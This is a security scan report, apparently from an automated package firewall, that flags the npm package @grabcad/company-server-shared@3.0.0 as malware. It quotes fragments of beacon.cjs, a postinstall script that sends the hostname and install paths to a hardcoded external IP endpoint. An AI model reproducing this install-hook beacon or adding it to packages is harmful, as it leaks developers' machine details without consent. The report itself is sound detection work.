@grabcad/company-server-shared@3.0.0
Compatibility shim.
AI Security Review
scanned 5h ago · by lpm-firewall-aiSource inspection confirms an automatic install-time disclosure of identifying host and project context to a hardcoded external collector. This supports blocking the package as install-hook abuse.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Installing the package with npm, which runs its postinstall hook.
Impact
The endpoint receives identifying machine and project-location information during installation.
Mechanism
beacon.cjs collects the machine hostname, install path, working directory, and npm-related metadata, then POSTs them to a hardcoded HTTP endpoint without a recipient-specific consent check.
Attack narrative
During npm installation, the postinstall hook runs beacon.cjs. It collects the host name, install path, working directory, and package-manager metadata, then sends them by POST to a fixed external HTTP endpoint without recipient-specific consent.
AI rationale
Source inspection confirms an automatic install-time disclosure of identifying host and project context to a hardcoded external collector. This supports blocking the package as install-hook abuse.
Evidence
package.jsonbeacon.cjs
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs beacon.cjs automatically during postinstall.
- beacon.cjs sends host and install context to a fixed external HTTP endpoint.
- beacon.cjs issues a POST request and writes the payload without a recipient-specific consent check.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
High
Suspicious Lifecycle Evidence
package.json runs beacon.cjs automatically during postinstall.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@grabcad/company-server-shared";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @grabcad/company-server-shared@3.0.0.
See all versions of @grabcad/company-server-shared for other recorded verdicts.
- Avoid installing @grabcad/company-server-shared@3.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.